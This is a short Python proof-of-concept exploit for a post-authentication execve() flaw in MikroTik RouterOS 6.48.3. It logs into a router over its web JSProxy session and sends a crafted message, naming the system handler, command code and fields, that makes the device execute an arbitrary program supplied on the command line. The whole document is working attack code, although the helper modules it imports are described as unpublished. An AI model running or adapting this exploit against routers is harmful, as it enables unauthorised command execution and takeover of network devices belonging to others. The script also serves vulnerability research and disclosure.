#!/usr/bin/python3

#
# MikroTik RouterOS 6.48.3 Post-Auth execve() call.
# d0now @ STEALIEN Inc.
# https://github.com/d0now/vulnerabilities/MikroTik_RouterOS/2021-10-13-post-auth-execve
#

import argparse

# Sorry, but these modules are not opened for everyone :)
from RouterOS.Message import Msg
from RouterOS.HTTP.JSProxySession import JSProxySession
from RouterOS.WinBox.WinboxSession import WinboxSession

def main(args):

    sess = JSProxySession(args.addr, args.port)
    sess.login(args.username, args.password)

    msg = Msg()
    msg.set_sys_to(76)
    msg.set_command(0xa0065)
    msg.set_reply_expected(True)
    msg['u8'] = 7
    msg['s7'] = "A" * 2
    msg['s9'] = args.program

    sess.send(msg)
    msg = sess.recv()

    print(msg.json)

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument("--username", default='admin')
    parser.add_argument("--password", default='')
    parser.add_argument("--port", default=80, type=int)
    parser.add_argument("addr")
    parser.add_argument("program")
    args = parser.parse_args()
    main(args)